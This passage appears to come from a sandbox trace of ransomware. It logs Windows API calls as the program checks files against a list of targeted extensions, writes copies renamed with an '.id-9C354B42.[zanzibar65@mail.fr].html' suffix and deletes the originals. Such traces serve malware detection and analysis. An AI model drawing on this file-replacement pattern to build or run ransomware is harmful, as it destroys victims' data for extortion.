lpString2=".mui") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString=".1cd") returned 4 [0267.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString=".jpg") returned 4 [0267.384] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString=".doc") returned 4 [0267.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.384] lstrlenW (lpString=".docx") returned 5 [0267.384] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.384] lstrlenW (lpString=".pdf") returned 4 [0267.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString=".xls") returned 4 [0267.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString=".xlsx") returned 5 [0267.384] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.384] lstrlenW (lpString=".ppt") returned 4 [0267.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.384] lstrlenW (lpString=".zip") returned 4 [0267.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.384] lstrlenW (lpString=".rar") returned 4 [0267.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.385] lstrlenW (lpString=".bz2") returned 4 [0267.385] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.385] lstrlenW (lpString=".7z") returned 3 [0267.385] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.385] lstrlenW (lpString=".dbf") returned 4 [0267.385] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.385] lstrlenW (lpString=".1cd") returned 4 [0267.385] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0267.385] lstrlenW (lpString=".jpg") returned 4 [0267.385] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.385] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.385] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0267.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.386] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=26624) returned 1 [0267.386] CloseHandle (hObject=0x2f0) returned 1 [0267.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0267.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.386] lstrlenW (lpString=".doc") returned 4 [0267.386] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.386] lstrlenW (lpString=".docx") returned 5 [0267.386] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.386] lstrlenW (lpString=".pdf") returned 4 [0267.386] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.386] lstrlenW (lpString=".xls") returned 4 [0267.386] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.386] lstrlenW (lpString=".xlsx") returned 5 [0267.386] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.386] lstrlenW (lpString=".ppt") returned 4 [0267.386] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.386] lstrlenW (lpString=".zip") returned 4 [0267.386] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.386] lstrlenW (lpString=".rar") returned 4 [0267.387] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString=".bz2") returned 4 [0267.387] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.387] lstrlenW (lpString=".7z") returned 3 [0267.387] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString=".dbf") returned 4 [0267.387] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString=".1cd") returned 4 [0267.387] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString=".jpg") returned 4 [0267.387] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString=".doc") returned 4 [0267.387] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.387] lstrlenW (lpString=".docx") returned 5 [0267.387] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.387] lstrlenW (lpString=".pdf") returned 4 [0267.387] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString=".xls") returned 4 [0267.387] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString=".xlsx") returned 5 [0267.387] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.387] lstrlenW (lpString=".ppt") returned 4 [0267.387] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.387] lstrlenW (lpString=".zip") returned 4 [0267.387] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString=".rar") returned 4 [0267.387] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.387] lstrlenW (lpString=".bz2") returned 4 [0267.388] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.388] lstrlenW (lpString=".7z") returned 3 [0267.388] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.388] lstrlenW (lpString=".dbf") returned 4 [0267.388] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.388] lstrlenW (lpString=".1cd") returned 4 [0267.388] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0267.388] lstrlenW (lpString=".jpg") returned 4 [0267.388] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.388] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0267.388] lstrlenW (lpString="msinfo32.exe") returned 12 [0267.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.388] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=378880) returned 1 [0267.388] CloseHandle (hObject=0x2f0) returned 1 [0267.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0267.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0267.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0267.389] lstrlenW (lpString=".doc") returned 4 [0267.389] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0267.389] lstrlenW (lpString=".docx") returned 5 [0267.389] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0267.389] lstrlenW (lpString=".pdf") returned 4 [0267.389] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0267.389] lstrlenW (lpString=".xls") returned 4 [0267.389] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0267.389] lstrlenW (lpString=".xlsx") returned 5 [0267.389] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0267.389] lstrlenW (lpString=".ppt") returned 4 [0267.389] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0267.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0267.389] lstrlenW (lpString=".zip") returned 4 [0267.389] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0267.389] lstrlenW (lpString=".rar") returned 4 [0267.389] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0267.389] lstrlenW (lpString=".bz2") returned 4 [0267.389] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0267.389] lstrlenW (lpString=".7z") returned 3 [0267.389] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0267.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0268.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0270.648] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.648] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.749] GetLastError () returned 0x0 [0270.749] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0270.773] WriteFile (in: hFile=0x384, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0270.774] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0270.774] WriteFile (in: hFile=0x384, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0270.774] SetEndOfFile (hFile=0x384) returned 1 [0270.774] CloseHandle (hObject=0x384) returned 1 [0270.776] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.776] SetEndOfFile (hFile=0x2f0) returned 1 [0270.805] CloseHandle (hObject=0x2f0) returned 1 [0270.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0270.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.815] lstrlenW (lpString=".doc") returned 4 [0270.815] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.815] lstrlenW (lpString=".docx") returned 5 [0270.815] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.815] lstrlenW (lpString=".pdf") returned 4 [0270.815] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.815] lstrlenW (lpString=".xls") returned 4 [0270.815] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.815] lstrlenW (lpString=".xlsx") returned 5 [0270.815] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.815] lstrlenW (lpString=".ppt") returned 4 [0270.815] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.815] lstrlenW (lpString=".zip") returned 4 [0270.815] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.815] lstrlenW (lpString=".rar") returned 4 [0270.815] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.815] lstrlenW (lpString=".bz2") returned 4 [0270.815] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.815] lstrlenW (lpString=".7z") returned 3 [0270.815] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.815] lstrlenW (lpString=".dbf") returned 4 [0270.816] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString=".1cd") returned 4 [0270.816] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString=".jpg") returned 4 [0270.816] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString=".doc") returned 4 [0270.816] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.816] lstrlenW (lpString=".docx") returned 5 [0270.816] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.816] lstrlenW (lpString=".pdf") returned 4 [0270.816] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.816] lstrlenW (lpString=".xls") returned 4 [0270.816] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.816] lstrlenW (lpString=".xlsx") returned 5 [0270.816] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.816] lstrlenW (lpString=".ppt") returned 4 [0270.816] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString=".zip") returned 4 [0270.816] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.816] lstrlenW (lpString=".rar") returned 4 [0270.816] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.816] lstrlenW (lpString=".bz2") returned 4 [0270.816] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.816] lstrlenW (lpString=".7z") returned 3 [0270.816] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.816] lstrlenW (lpString=".dbf") returned 4 [0270.817] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.817] lstrlenW (lpString=".1cd") returned 4 [0270.817] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0270.817] lstrlenW (lpString=".jpg") returned 4 [0270.817] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.817] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.817] lstrlenW (lpString="FINCL_01.MID") returned 12 [0270.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0270.818] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=12981) returned 1 [0270.818] CloseHandle (hObject=0x2f0) returned 1 [0270.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0270.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0270.919] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.919] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.920] GetLastError () returned 0x0 [0270.920] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x32b5, lpOverlapped=0x0) returned 1 [0270.921] WriteFile (in: hFile=0x380, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0270.922] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0270.922] WriteFile (in: hFile=0x380, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.922] SetEndOfFile (hFile=0x380) returned 1 [0270.922] CloseHandle (hObject=0x380) returned 1 [0270.922] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0270.922] SetEndOfFile (hFile=0x2f0) returned 1 [0270.925] CloseHandle (hObject=0x2f0) returned 1 [0270.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0270.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0270.926] lstrlenW (lpString=".doc") returned 4 [0270.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.926] lstrlenW (lpString=".docx") returned 5 [0270.926] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.926] lstrlenW (lpString=".pdf") returned 4 [0270.926] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.926] lstrlenW (lpString=".xls") returned 4 [0270.926] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.926] lstrlenW (lpString=".xlsx") returned 5 [0270.926] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.926] lstrlenW (lpString=".ppt") returned 4 [0270.926] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.926] lstrlenW (lpString="C:\\Program Files\\Microsoft 